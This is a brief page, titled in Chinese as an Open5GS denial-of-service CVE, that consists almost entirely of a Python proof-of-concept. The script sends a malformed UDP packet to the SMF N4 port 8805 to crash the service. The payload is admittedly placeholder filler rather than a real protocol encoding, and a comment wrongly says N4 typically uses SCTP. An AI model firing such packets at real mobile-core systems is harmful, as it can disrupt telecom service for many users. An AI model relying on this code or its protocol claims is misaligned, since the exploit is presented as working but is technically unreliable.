CVE-2026-8250 Open5GS拒绝服务漏洞

import socket # PoC for CVE-2026-8250 # This script demonstrates sending a crafted packet to the Open5GS SMF N4 interface. # Target: Open5GS SMF (default N4 port is typically 8805) TARGET_IP = "127.0.0.1" TARGET_PORT = 8805 # Malformed payload designed to trigger the vulnerability in smf_n4_build_qos_flow_to_modify_list # This is a conceptual representation; actual packet structure requires specific protocol encoding. malformed_payload = b"\x00\x00\x00\x01" + b"\x41" * 100 def send_exploit(): try: print(f"[*] Sending exploit to {TARGET_IP}:{TARGET_PORT}") # N4 interface typically uses SCTP, but UDP might be used in testing or specific configs # Assuming UDP for this demonstration sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(malformed_payload, (TARGET_IP, TARGET_PORT)) print("[+] Payload sent successfully.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()